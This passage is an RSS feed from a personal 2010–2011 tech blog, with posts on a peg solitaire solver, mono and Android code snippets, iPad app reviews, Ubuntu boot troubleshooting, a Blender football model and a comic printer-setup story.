On of the repeating themes in PL&PB was, you guessed it <a href="http://en.wikipedia.org/wiki/Peg_solitaire">Peg Solitaire</a>. After completing nearly all the puzzles in the game I was left with a number of peg solitaire puzzles that I could have completed by hand but I decided not too.

</description>
</item>
<item>
<title>its mine all mine</title>
<pubDate>Tue, 01 Mar 2011 22:01:29 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2011.html#010320112201</link>
<description>
[continued from <a href="http://www.jumpstation.co.uk/flog/Feb2011.html#280220112217">flog</a>]
I wanted this to be more than a hack-a-thon, so a fair amount of time went into investigation and testing.
The main requirement was no outside solutions, it would have been trivial to download a working program from the net.
This one had to be all mine.
</description>
</item>
<item>
<title>How long does a simple bit of recursion take</title>
<pubDate>Mon, 28 Feb 2011 22:21:31 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2011.html#280220112221</link>
<description>
[continued from <a href="http://www.jumpstation.co.uk/flog/Feb2011.html#280220112217">flog</a>]
It certainly had taken a lot of my time, the problem being there was not a lot of my time to take.
The <a href="http://en.wikipedia.org/wiki/Peg_solitaire">Peg Solitaire</a> solution is a simple matter of recursion but it does require some thought.
The problem here is that the thought process took up most of my coding time for any free time session.
</description>
</item>
<item>
<title>peg solitaire solver completed after seven months</title>
<pubDate>Mon, 28 Feb 2011 22:17:54 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2011.html#280220112217</link>
<description>
On Feb 2nd 2011 I completed a small project.
A text based <a href="http://en.wikipedia.org/wiki/Peg_solitaire">Peg Solitaire</a> solver.
The project had been started back on the 28th July 2010.
Had it really taken almost 7 months ?
</description>
</item>
<item>
<title>mono system.xml.linq from the command line</title>
<pubDate>Mon, 10 Jan 2011 22:18:49 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2011.html#100120112218</link>
<description>
I need a branching non binary Tree structure in C# using mono.
After googling for a while, it seems you are expected to role your own, but then I noticed the System.Xml.Linq and the fact I could use the XML data classes to do the simple Tree work I needed.
<code>using System;
using System.Xml.Linq;</code>
would not compile :(
<code>error CS0234: The type or namespace name `Linq' does not exist in the namespace `System.Xml'. Are you missing an assembly reference?</code>
but how do you add a reference to command line project ?
<code>gmcs -r:System.Xml.Linq.dll yourcode.cs</code>
simple when you know how :)
</description>
</item>
<item>
<title>ping all class C to populate arp tables</title>
<pubDate>Mon, 10 Jan 2011 19:08:33 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2011.html#100120111908</link>
<description>
For switch port ident

# ping all IP address in class C
for i in 192.168.11.{1..255}; do ping -n 1 $i; done
# now arp table is full, display it (will not show machines that have not be previously accessed, i.e. not responding to ping)
arp -a
</description>
</item>
<item>
<title>AppInventor flailing for emulators</title>
<pubDate>Tue, 24 Aug 2010 21:28:35 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2010.html#240820102128</link>
<description>
I got <a href="http://appinventor.googlelabs.com">appinventor</a> working in Windows 7 at work and created the Meow Purr tutorial (replacing the image and the sound with something more interesting).
Unfortunately, I did not have the USB cable with me so I could not see it running on the phone.
The designer page has a Package for Phone option to create an .APK but that would not install on my Android 1.5 DEXT.
So, as <a href="http://appinventor.googlelabs.com">appinventor</a> is web/Java based I tried it out at home in Gentoo. There are no Gentoo packages so I had to unzip the Debian one.  All you need to do is dump the folder structure in /.
Last step is to make sure the user running the appinventor has write permissions and start the emulator.
Hopefully I will get some time to play with the other features, but it was easy to use (after so flailing about).
</description>
</item>
<item>
<title>first corrections in ten years oh the computer O quiz</title>
<pubDate>Tue, 24 Aug 2010 21:13:47 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2010.html#240820102113</link>
<description>
Do you remember the <a href="http://www.jumpstation.co.uk/computer-o.html">Computer-O quiz</a> ? I thought not, I put it up over ten years ago.
I got an email today noting a few issues with the answers. Googling the sender I find he is a well respected and smart fellow, time to update the code.
AGHHhhh! my eyes! all the HTML is in UPPERCASE, the screen is shouting at me :(
<code>MOO also stands for Master Of Orion (First O therefore stands for Of)
POST is a HTTP request mechanism (O stands for nothing-post is just a word)
Your acronym for FLOPS is wrong, Floating Point Operations Per Second would be FPOPS
FLOPS is more often understood as standing for FLoating-point OPerations / Second, so the O again stands for nothing (the term is a portmanteau not an acronym)</code>
I also fixed a number of typos and spelling mistakes.
Considering how many people have taken the quiz I am surprised no one picked up on the FLOPS on, goes to show people are only interested in the O.
Ok, off you go to try and beat your last score on the worlds only <a href="http://www.jumpstation.co.uk/computer-o.html">Computer-O quiz</a>.
</description>
</item>
<item>
<title>the iPad is a toy get over it</title>
<pubDate>Mon, 23 Aug 2010 22:11:55 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2010.html#230820102211</link>
<description>
So when I was presented with my free iPad, I though WOW and free computer, think of the productivity gains.
Now accept that the iPad is a toy. Even if you are willing to pay the money there is very little out there for professionals.
Its a very shiny, nice to show off, expensive toy. The excitement is wearing off after just a couple of weeks.
Roll on the next shiny.
</description>
</item>
<item>
<title>News of the windows 7 app inventor is not</title>
<pubDate>Mon, 23 Aug 2010 22:06:22 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2010.html#230820102206</link>
<description>
In other news I have been creating a number of test Android applications, each targeting a specific feature that will be combined into ... [TBA]
And in other 'other' news I was accepted into the google AppInventor beta.
App inventor allows you to create complex Android applications without any code, just drag and drop. Look promising but seems to have some holes.
And ... in etc etc I installed the windows phone 7 tools at work, as we are (currently) a Microsoft house.
There are worrying signs that Macs maybe in my future, but nothing to worrying yet.
</description>
</item>
<item>
<title>third set of free ipad app reviews</title>
<pubDate>Mon, 23 Aug 2010 21:59:17 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2010.html#230820102159</link>
<description>
<a href="http://www.jumpstation.co.uk/flog/Aug2010.html#170820102250">Another</a> ten free iPad apps (no iPhone apps but two note worthy URLs).

Clinometer:
Spirit level and bubble level. Thats it, a nicely presented bubble level (when the iPad is on its back) and spirit level when stood on end, very sensitive(good thing). *FREE* 5 stars

Doodle Buddy:
Drawing: Lots here for the kids, from multiple backgrounds to stamps with sound effects. As well as having the normal draw a colour pens, it has a smudge and also allows finished art to be saved as the iPad background. *FREE* 5 stars

PreSchoolMM:
Memory match game. Another on for the kids. Match the pairs with colourful illustrations and one each match get a sound or/and voice over. At the end of each level you get three wacky sound toys to play with. Lots of variation on the cards, from animals to instruments to vehicles. *FREE* 5 stars

IdeaSketch:
Mind mapping. Very simple, not very many options, but allows you to create simple lists with associations in either list or graph view. *FREE* 3 stars

WorldClockPro:
Clock. Show multiple clocks from different time zones. Very few customisations and the LED view is not very readable. However the analog clocks look very nice.  *FREE* 3 stars

Hexius:
Hexagon matching game. High speed touch matching with funky explosions sounds, graphics and fun power-ups. Limited appeal.  *FREE* 3 stars

Trundle HD:
Rolling physics game. Tip the iPad left and right to get your ball rolling, tap the screen to jump. One of the better and more devious physics games. *FREE* 4 stars

Rafter HD:
Drawing physics game. Draw blocks and balls at the top of the screen and let them fall down and activate the mine. Bit limited and hard in places.  *FREE* 4 stars

BBC iPlayer:
BBC catchup service. Not an app but a url that you can add to your home screen. Select programs from BBC channels from the previous week (or so) and watch streaming.  *FREE* 4 stars (UK only)

TVCatchup:
Live streaming TV. Not an app but a URL that you can add to your home screen. Select one of 37 channels and watch streaming live. So not really any kind of catchup service. you do have to register but its free.   *FREE* 4 stars (UK only)

I have more on my list to download and test, but do not expect that anytime soon, I really have started to hit to bottom of the free iPad apps.
</description>
</item>
<item>
<title>another ten free ipad apps</title>
<pubDate>Tue, 17 Aug 2010 22:50:48 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2010.html#170820102250</link>
<description>
<a href="http://www.jumpstation.co.uk/flog/Aug2010.html#150820102050">Another</a> ten free iPad apps (yes, one of them is an iPhone app).

Saturation:
Colour visualiser for the <a href="http://kuler.adobe.com">kuler</a> Adobe community. Show the micro palletes either interactively or in a screen saver type experience. Fun but not very useful. Not iPad native so you get the iPhone visuals, optionally at 2x zoom. *FREE**iPHONE* 3 stars

VAInfo:
System information reference. Find you IP and MAC address, CPU type, OS, Memory, Battery, Location, Kernel etc etc. For geeks, it just works. *FREE* 5 stars

VTrace:
Visual tracert. Enter an IP address or web server and get a route described by pins at the data centers the data traveled. For geeks, it just works. *FREE* 4 stars

Wink Target Clock:
A full screen arty analog clock. Imagine a shooting target composed of colourful concentric circles and then add hands and a second mechanism that changes the colours. This one may get uninstalled. *FREE* 3 stars

PCalc Lite:
Calculator. Demo for more fully featured product. Very clear and easy to use, wish it had base 2 and base 16. *FREE**DEMO* 3 stars

Implode Nature!:
Physics game. Demo, containing 10 levels where you place explosives and try and decimate chalk drawn structures. Completed the demo in less than 10 minutes, not impressed, uninstalled *FREE**DEMO* 3 stars

Bub Wider:
Tilt game. Control a bubble by tilting the iPad collecting art and avoiding sugar babes. No indication it was only a demo. Basic premise, collect objects and avoid enemies, again not impressed, uninstalled *FREE**DEMO* 3 stars

RJ Voyager:
Audio mixer. Fun interactive audio toy for mixing up sounds. Comes with eight 'scenes' that are a collection of samples each with their own parameters such as volume, echo, reality and filter to name but a few. For acid house, trance dance types. *FREE* 5 stars

Labyrinth 2 HD Lite:
Tilt maze game. Demo containing 20 levels, some easy some hard. Amazingly well presented and lots of fun, but I got neck ache looking down at the iPad as it had to be flat as neutral. At &pound;4.99 I will consider purchasing the 300 level complete version. *FREE**DEMO* 5 stars


Pocket Pond HD:
Interactive pond. Play with the fish in this relaxing interactive pond environment. Ambient sounds play, you can annoy the fish by touching the water or add lily pads, the only other thing is to drag through the water like all those water demos before it. Simple, beautiful, but a bit basic. Not really a demo but a new more advanced version called iPond with fishing, frogs and dragon flies is available. *FREE* 4 stars

Yes, lots more to test and will distract me from what I was doing previously, drat.
</description>
</item>
<item>
<title>dnet stats little bit off for a year</title>
<pubDate>Sun, 15 Aug 2010 21:21:15 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2010.html#150820102121</link>
<description>
No one told me my dnet stats have been failing to update for over a year !
Appears the stats I was receiving were for one of the developers as a default value.
Missing quotes around the wget URL in the wget call, if you must know.
And yes I do feel stupid.
</description>
</item>
<item>
<title>must have ipad mini reviews</title>
<pubDate>Sun, 15 Aug 2010 20:50:23 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2010.html#150820102050</link>
<description>
I was worried that there would be no free apps worth having on the iPad. Here are ten of the first crop I tested.

Dragon Dictation: 
Voice based dictation for notes. Very basic but does do dictation without any training. Needs a training mode ! *FREE* 3 stars

Epicurious: 
Recipe book. In one word 'lavish', it is beautiful/responsive and has everything you need. Nice layout/options images, reviews and can store all the required ingredients in a shopping list. *FREE* 5 stars

Dictionary.com: 
Dictionary/Theosaurus. Just works, no obvious niggles. *FREE* 5 stars

IMDB: 
Internet Movie DataBase. Just works and looks brilliant.  *FREE* 5 stars

AudioMemos: 
Record audio from the microphone. Although heavily ad supported it does do a good job. Just hit record, and rename your recording after. *FREE*AD Supported* 3 stars 

The Guardian Eyewitness: 
Slide show of the best daily global photography. Stunning, must have. *FREE* 5 stars

Beatwave: 
Music creator: very fun, simple and has some useful configurations. *FREE* 4 stars

SkyGrid: 
News consolidation app. Bit quirky, nice way to waste five minutes catching up with news about things and stuff you might otherwise have missed. *FREE* 3 stars

Google Earth: 
Planet visualiser. Does exactly what you expect, fun and easy to use. Pinch zoom seems to rotate the image every time. *FREE* 5 stars

Toy Story: 
Interactive story book, with games and sing a-longs. Kids adored it, great graphics easy to use, intermixes actual film and audio clips. *FREE* 5 stars

I got a list of over forty by searching google for <a href="http://www.google.co.uk/#hl=en&source=hp&q=ipad+must+have+apps">ipad must have apps</a>, Expect more mini reviews soon.
</description>
</item>
<item>
<title>iPad download manager fail</title>
<pubDate>Sat, 14 Aug 2010 22:58:25 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2010.html#140820102258</link>
<description>
Appears there are not free iPad download manager apps that can download a PDF from a web site AND make it available in iBooks.
Found two that would download the PDF but then keep the file in there own apps areas with no export option.
They would of course happily open the PDF but then I am back to the <a href="http://www.jumpstation.co.uk/flog/Aug2010.html#140820102100">same problem</a> with apples built in PDF reader.
I am not willing to risk paying and it also not working.
Did you know the iPad does not come with a calculator ? odd.
</description>
</item>
<item>
<title>my love hate hate ipad relationship</title>
<pubDate>Sat, 14 Aug 2010 21:00:28 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2010.html#140820102100</link>
<description>
Work have given me an iPad, basic model 16gb wifi only, bit of a shock, they gave everyone one.
My like/dislike for this device goes up and down like a gymnast on a trampoline.
Dislike: its Apple (so much hate), forced me to get an iTunes account(even more hate), had to agree to numerous terms and conditions that were far to long to read.
Like: sexy, there is no doubt that the beast is nicely sized and has a beautiful screen.
Dislike: Cost, but of course for me it was free, so I am bit conflicted, maybe as free it is still too expensive ?
Like: battery life, its been used for four days and is still at 60% and colleagues have been running it over a week with no charge.
Dislike: comes with a USB cable and no power cable but can not be charged from the USB socket, uses a mains adapter for USB. 
Like: iBooks, free app for reading ebooks and PDFs makes me want to read the PDF version of tech books.
Dislike: Safari, ignoring the recent security issues and lack of flash support I tried to get the train time table. Did open the PDF from the train operators web site but after any action just hung. No problem I will just save the link to hard disk and load it into iBooks(see above), no can not do that.
Like: Screen resolution, video quality.
Dislike: Can not get many useful apps for free.
I wanted a simple SSH client, six clients available all cost...
Like: the possibility of free apps, I have a list to follow up on.
Dislike: I can not develop for the iPad, you still HAVE to develop on a MAC.
Like: smooth rotation even upside down.
Dislike: another shiny to take my focus away from ... well everything.

Expect lots of ipad tagged posts.
</description>
</item>
<item>
<title>catistrophic mouse failure</title>
<pubDate>Sat, 14 Aug 2010 10:14:10 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2010.html#140820101014</link>
<description>
Up until today I had a very nice Microsoft wireless mouse that has had only one battery change in 4 years and works perfectly in Linux.
Today I have Microsoft mouse that has an issue making it unusable, problem was not there yesterday is today.
So, do I need new drivers, replace the batteries or clean it?
Nope, none of those, today the entire rubber surround has degraded and become so sticky it is unpleasant.
Only reference online is http://social.answers.microsoft.com/Forums/en-US/vistahardware/thread/832bc523-aa4c-4ad4-83ec-a6d81bac4455
Time for a new mouse.
</description>
</item>
<item>
<title>Buffalo buffalo Buffalo buffalo buffalo buffalo Buffalo buffalo</title>
<pubDate>Thu, 22 Jul 2010 20:24:52 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2010.html#220720102024</link>
<description>
<a href="http://en.wikipedia.org/wiki/Buffalo_buffalo_Buffalo_buffalo_buffalo_buffalo_Buffalo_buffalo">Buffalo buffalo Buffalo buffalo buffalo buffalo Buffalo buffalo</a>
is perhaps the most important link you will click on today, oh and you WILL click on it!
</description>
</item>
<item>
<title>glass football 720p great full screen</title>
<pubDate>Wed, 21 Jul 2010 20:16:46 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2010.html#210720102016</link>
<description>
New video on <a href="http://www.youtube.com/watch?v=GlPK8jcXnzo">YouTube</a>
Rendered my <a href="http://www.jumpstation.co.uk/flog/Jul2010.html#080720102120">football</a> in 720p and as glass ;)
Looks great full screen.
</description>
</item>
<item>
<title>revisiting Mikiks ufo adventure</title>
<pubDate>Tue, 13 Jul 2010 22:50:56 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2010.html#130720102250</link>
<description>
Back in <a href="http://www.jumpstation.co.uk/flog/Sep2007.html#210920072242">2007</a> I released a JavaScript game that showed a UFO on the Microsoft Virtual earth.
About six months later it stopped working, I assumed it was due to the VE version being updated and that it would be a pain to debug and fix.
As I am doing a lot of mapping stuff I decided to have a quick look again and it was a really easy fix, just change the CSS z-index.
There was also a bug for Linux users that for security reasons the key presses never repeated. That meant you had to keep pressing rather than just hold the key as with windows users.
That was a relatively quick fix, just record when the key-down occurs, repeat the action every 30th of a second and wait for key-up.
For your amusement here is <a href="http://www.jumpstation.co.uk/misc/ufo_map/v2/">UFO adventure v2 revisited</a>
</description>
</item>
<item>
<title>blend 4 kicks me I kick vs2010</title>
<pubDate>Fri, 09 Jul 2010 22:30:17 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2010.html#090720102230</link>
<description>
Been fighting visual studio 2010 and expression blend 4 today.
I beat vs2010 but blend4 beat me :(
</description>
</item>
<item>
<title>highres football assets at deviantart</title>
<pubDate>Fri, 09 Jul 2010 22:26:36 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2010.html#090720102226</link>
<description>
The high resolution <a href="http://www.jumpstation.co.uk/flog/Jul2010.html#080720102120">football</a> images are available
http://robdavis.deviantart.com/gallery/
</description>
</item>
<item>
<title>nintendo sent me an email</title>
<pubDate>Fri, 09 Jul 2010 22:09:15 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2010.html#090720102209</link>
<description>
Nintendo sent me an email, the body was fine but the subject read<code>Hello &gt;mail merge&lt;, you currently have &gt;mail merge&lt; Stars</code>
</description>
</item>
<item>
<title>High-res 3d football in blender aided by inkscape and gimp</title>
<pubDate>Thu, 08 Jul 2010 21:20:12 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2010.html#080720102120</link>
<description>
Back in <a href="http://www.jumpstation.co.uk/flog/year2009.html">2009</a> I wanted to create a mathematically perfect 3D football with blender.
I created a script that selected vertices before subdividing in the hope that then extruding and scaling those would create the hexagons.
Did you ever notice that footballs are not just hexagons ?
Still it did create this nice <a href="http://www.jumpstation.co.uk/flog/Jan2010.html#120120100858">android wallpaper</a>
<img alt="blender based wallpaper for android" src="android_desktop_wallpaper.jpg" />

Fast forward to last month and I was heavily involved with <a href="http://www.theworldcupmap.com">The world Cup Map</a> a silverlight azure bing maps HD video experience</a> that is currently linked too from the bbc world cup home page.
Being a large silverlight application it needed its own loading screen, we opted for a bouncing football. If we had had time I would have create and all dancing XAML ball, but due to time constraints we went with a stock image.

I wondered how easy it would be to blender up a nice football and went in search of flat image maps on google...
After a fair amount of searching I found a grand total of ... One
<a href="http://board.flashkit.com/board/showthread.php?t=788629#post_message_4144435"><img alt="flat image map of a football" src="http://i93.photobucket.com/albums/l75/blinkok/ball-1.jpg"></a>
Slight problem was it was 128x128 pixels, not very detailed.

Inkscape to the rescue. I set the image as the background and over a few nights created a full vector based impression of the ball map, being very careful to retain the gaps between cells.
I then had lots of back-and-forth from inkscape - gimp - blender making sure all the edges were in the correct place, this took a substantial amount of time.
Finally I had a perfectly mapped football in blender but, I wanted more, more detail to be precise.

First attempt was bump mapping which fakes 3D, the results were not good, so I looked at the <a href="http://wiki.blender.org/index.php/Doc:Manual/Modifiers/Mesh/Displace">displacement modifier</a>.
This creates real 3D topology in your mesh based on differences in the pixels in your Texture.

In Gimp I used the gradient fill (shaped) too convert all the hard lines into soft grey scale ones and applied a blur.
The <a href="http://wiki.blender.org/index.php/Doc:Manual/Modifiers/Mesh/Displace">displacement modifier</a> needs a lot of blur or you get striking differences in height.
It got a bit messy here, but using gimp and the UV editor I managed to get the map to sit correctly and give the correct appearance.
From there I just added a quick random bump map to give the leathery appearance.

Download the 2.4mb blend file from <a href="http://www.blendswap.com/3D-models/misc-objects/high-res-football/">blendswap</a> it contains the high-res color map and displacement map.

Watch on <a href="http://www.youtube.com/watch?v=fl08vxck5Zc">YouTube</a>

All the images are on <a href="http://www.flickr.com/photos/microscopics/sets/72157624452054140/">flickr</a>
<a href="http://www.flickr.com/photos/microscopics/sets/72157624452054140/"><img alt="thumbnail of the football 3d blender high-res experiment" src="thumbs/football_thumb.png"></a>
<a href="http://www.flickr.com/photos/microscopics/sets/72157624452054140/"><img alt="thumbnail of the football 3d blender high-res experiment cropped" src="thumbs/football_cropped_thumb.png"></a>
</description>
</item>
<item>
<title>Ubuntu hating the black screen</title>
<pubDate>Mon, 28 Jun 2010 21:03:40 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2010.html#280620102103</link>
<description>
When I am not busy fixing <a href="http://www.jumpstation.co.uk/flog/Jun2010.html#240620102034">problems caused by Ubuntu</a> I like to take the time to shout at my machine...
Ubuntu completed updating to version 10, all seemed well, but ...
The machine would not boot. Grub would pop up and few lines of system messages before blackness and eventual a still hard drive.
My first though was to just leave it, but no it was no doing anything, Ctrl+Alt+Del worked, so I cycled it a few times.
By editing the Grub boot command I got rid of "quiet splash" and in its place put "nomodeset" (actually I tried a few other things first), this got me to see the failure point.
<code>Checking Battery State [OK]</code> which seems to affect ATI users mostly which meant lots of digging for Nvidia.
Turns out this is another well know and documented issue that Ubuntu/Canonical are in no hurry to fix.
First off I tried booting into single mode, change the Grub parameter from just "nomodeset" to "nomodeset single".
That got me a rather handy looking recovery menu with "Run in failsafe graphic mode", which dutifully loaded X and asked me if I wanted to reconfigure graphics settings, which I did, I really really did!
But it would just ask me the same set of questions before failing :(
So I tried again and selected "Drop to root shell prompt", woohoo some access, hang on, why is nothing I type coming up?
No characters were appearing as I typed and  pressing enter repeated the prompt with out any line breaks.
From my LPIC training I knew one magic word <code>reset</code> no, it does not reboot the computer but instead resets the graphic console. Very handy when you have just <code>cat</code> a binary.
From there I could finally.  <code> sudo dpkg-reconfigure xserver-xorg </code> which wanted <code>dpkg --configure -a</code>
and then<code>dpkg-reconfigure xserver-xorg
dpkg-reconfigure gdm</code>
Then reboot, with "nomodeset single", "Drop to root shell prompt",<code>reset</code> and <code>start gdm</code> and everything worked again.
Phew!
</description>
</item>
<item>
<title>they know about grub_getcharwidth but keep quiet</title>
<pubDate>Thu, 24 Jun 2010 20:34:13 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2010.html#240620102034</link>
<description>
So Ubuntu killing two machines on install is not an unknown thing
https://help.ubuntu.com/community/Grub2#Selected%20Problems%20and%20Bugs

and it may have been festering since 2006
https://bugs.launchpad.net/ubuntu/+source/grub-installer/+bug/45989
https://bugs.launchpad.net/ubuntu/+source/grub-installer/+bug/46520
but is still prevailant today
https://bugs.launchpad.net/ubuntu/+source/grub2/+bug/414996

http://www.google.co.uk/#hl=en&q=+site:ubuntuforums.org+grub_getcharwidth&sa=X&ei=eLIjTOjGBpDw0wSTja38BA&ved=0CB0QrQIwAQ&fp=be8fd41e0a386f13

All I know is I will take extra care when using a so called safe live CD !!
p.s. a quick fsck later and the laptop booted, updating to ubuntu 10 now ...
</description>
</item>
<item>
<title>ubuntu and grub2 kill innocent windows hard drive</title>
<pubDate>Wed, 23 Jun 2010 23:21:13 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2010.html#230620102321</link>
<description>
Have you heard the Linux Live CD mantra ?
"A live CD will not and cannot affect your existing hard drive, EVER!"
Except with Ubuntu and its exploration using Grub2 (boot loader) which, in a specific set of circumstance will destroy the boot record!
My old Ubuntu laptop that has been updated many times and was suffering due to space restrictions. All I needed to do was wipe the hard disk and reinstall...
But, the network port was nuked by a bad cat5 cable(oops), the DVD drive seemed to work but will not boot, I have not seen a floppy disk for years and Ubuntu itself will not boot.
All I need to do is install Ubuntu onto the hard disk. Borrowed a 2.5 IDE USB enclosure only to find after prying it a part it was SATA.
Bought a PATA 2.5 case for &pound;4 from amazon inc P&amp;P, ripped out hard drive and ran Virtual Box with the Ubuntu 10 DVD cover disk and installed. Four hours later put hard drive back in laptop and not even Grub came up.
So downloaded Ubuntu 9 and 10 in CD ISO and burnt them to disks.
Put in Ubuntu 9 to Sarah's Windows XP machine and followed through the install wizard.
Before the installation begins a summary screen ensures the correct settings.
EVERY SETTING ON THE SUMMARY SCREEN WAS CORRECT.
So I left it installing, much quicker from CD, put hard drive back in the laptop and got a grub error
<code>error: the symbol 'grub_getcharwidth" not found.</code>
Odd, quick google showed this was not an uncommon error, but worse it advised the host machine may not boot.
Sure enough the windows machine would not boot, spent 2 and half fun hours trying to find the windows install CD that I had not used for over 4 years!
Eventually found ran recovery and <code>fixmbr</code>
One down one to got.
Rebooted from Ubuntu 9 live CD and followed through the install again. At the summary screen clicked advanced and found a hand pull down explaining it was about the wipe out the host hard drive even though the install was to the USB drive !
Changed it to the USB device and allowed it to install...
Checked windows booted OK [Check]
Put hard drive back in laptop and ...
Grub, Ubuntu, <code>filesystem failed</code>
doh!

</description>
</item>
<item>
<title>the world cup map silverlight application</title>
<pubDate>Sun, 20 Jun 2010 22:49:48 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2010.html#200620102249</link>
<description>
I may have had something to do with http://theworldcupdemo.com a silverlight blend of mapping and HD video, one word review 'slick'.
Find out more at http://www.earthware.co.uk
</description>
</item>
<item>
<title>vim please do not auto indent</title>
<pubDate>Sun, 06 Jun 2010 21:58:05 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2010.html#060620102158</link>
<description>
disable auto-indenting in vim for the file you are currently working on<code>:setl noai nocin nosi inde= </code>
Pains me every time I copy and paste code. 
</description>
</item>
<item>
<title>where is the state of android, final in series</title>
<pubDate>Sun, 06 Jun 2010 21:47:22 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2010.html#060620102147</link>
<description>
Now it is time for my the final part of my <a href="http://www.jumpstation.co.uk/flog/tags.html?tag=android">Android</a> <a href="http://www.jumpstation.co.uk/flog/tags.html?tag=binary">binary</a> <a href="http://www.jumpstation.co.uk/flog/tags.html?tag=watch">watch</a> series.
<a href="http://www.jumpstation.co.uk/flog/Apr2010.html#210420100823">Last time</a> it seemed we were completing the final part of the application, adding an about box and handling screen rotation.
But what really polishes off the basic Android application is state. That is when you exit the application and restart (or, rather surprisingly rotate the screen) the settings are preserved.
<code>private SharedPreferences UserPreferences;

<span class="comment">/* Called when the activity is first created. */</span>
@Override
public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    if (UserPreferences==null)
     UserPreferences = getSharedPreferences("[[YOUR PACKAGE NAME]]",MODE_PRIVATE );
    initialiseview();
}

<span class="comment">/* onPause, onStop and onDestroy all need to save user preferences */</span>
protected void onPause() {
    super.onPause();
    SaveUserPreferences();
}

protected void onStop() {
    super.onStop();
    SaveUserPreferences();
}

protected void onDestroy() {
    super.onDestroy();
    SaveUserPreferences();
}

<span class="comment">/* save user preferences and the arrange new layout */</span>
public void onConfigurationChanged(Configuration newConfig) {
    SaveUserPreferences();
    initialiseview();
    super.onConfigurationChanged(newConfig);
} 	

<span class="comment">/* save preferences, which in this case is store to INTs */</span>
private void SaveUserPreferences() {
    SharedPreferences.Editor ed = UserPreferences.edit();
    ed.putInt("LayoutMode", LayoutMode);
    ed.putInt("ShowCalculations", ShowCalculations);
    ed.commit();
}

<span class="comment">/* get preferences, defaults provided if they do not exist */</span>
private void RecoverUserPreferences() {
    LayoutMode = UserPreferences.getInt("LayoutMode", 2);
    ShowCalculations = UserPreferences.getInt("ShowCalculations", 0);
}</code>
as noted in the comments, the 'state' of the app can be stored with just two integers. One for the if the seconds are displayed (LayoutMode) and one defining whether or not the calculations are displayed.

I have two more very keen Android ideas but only time will tell if I have any time ...

Expect to have a couple of videos of the app running on YouTube soon.
</description>
</item>
<item>
<title>hp and the adventure of doom</title>
<pubDate>Wed, 19 May 2010 23:04:07 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2010.html#190520102304</link>
<description>
<code>
You are in a dark room
There is a computer, a wireless router, a HP Photosmart C4700 wireless printer.
The computer is connected and working, the wireless router is connected and working.
The computer is connected to the wireless router via wifi.
The HP printer is not on.

Your exits are E
> Turn printer on
The HP printer advises you to RTFM

Your exits are E
> RTFM
The instructions are to install the software from CD first.

Your exits are E
> put CD in computer
The software is installing...
The software is reporting an error, but only after 10 minutes of CD activity.
The software is looking for solutions ...
The software has found a solution and reboots your machine...
The machine reboots and a new file is on the desktop called Resolution

Your exits are E
> Read Resolution
The resolution is to reboot your computer and restart the installation.

Your exits are E
> restart installation
The software is installing...
The software is reporting an error, but only after 10 minutes of CD activity.
The software is looking for solutions ...
The software has found a solution and reboots your machine...

Your exits are E
> Read error
The error reads C: invalid

Your exits are E
> mkdir e:\Virtual_C
e:\Virtual_C has been created

Your exits are E
> subst c: e:\Virtual_C
C: is now aliased to e:\Virtual_C

Your exits are E
> restart installation
An hour passes...
A notice appear that wireless configuration can not continue.

Your exits are E
> Connect printer
with what?

Your exits are E
> Connect printer to computer with USB cable
The printer has been connected
Installer installs even more software
time passes.
wifi tests show that the printer can not access the network.

Your exits are E
> Add WEP key
WEP key added
wifi tests show that the printer can not access the network.

Your exits are E
> Add MAC address to wifi router
You do not have the MAC address

Your exits are E
> look at printer
The printer has an LCD display with the following options
Scan
Photo
Copy

Your exits are E
> Press scan
The scan menu has an option for wireless, I suggest you try it.

Your exits are E
> Press wireless
The wireless menu has an option to print wifi configuration, I suggest you try it.

Your exits are E
> Press print wifi config
The printer is making a noise ...
An A4 sheet of paper with text on it falls to the floor.

Your exits are E
> look at paper
You look at the paper and see the MAC address.

Your exits are E
> Add MAC address
MAC address added the installation is testing the printer...
UDP port blocked

Your exits are E
> Disable firewall
Firewall is disabled
Printer is updating settings...
A blue screen appears and the machine reboots

Your exits are E
> East
You exit the dark room never to return.
Goodbye
</code>
</description>
</item>
<item>
<title>face monkey get an OS lift</title>
<pubDate>Sun, 25 Apr 2010 21:32:37 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2010.html#250420102132</link>
<description>
Speaking of silverlight
<a href="http://www.silveos.com/">silverlightOS</a> tries to be a complete virtual machine in your browser and one of the really clever features is the ability to load any silverlight so it was nice to see <a href="http://www.pay4foss.org/jumpstation/FaceMonkey/http://www.pay4foss.org/jumpstation/FaceMonkey/">Face monkey</a> in the default list!
</description>
</item>
<item>
<title>silverlight sushi</title>
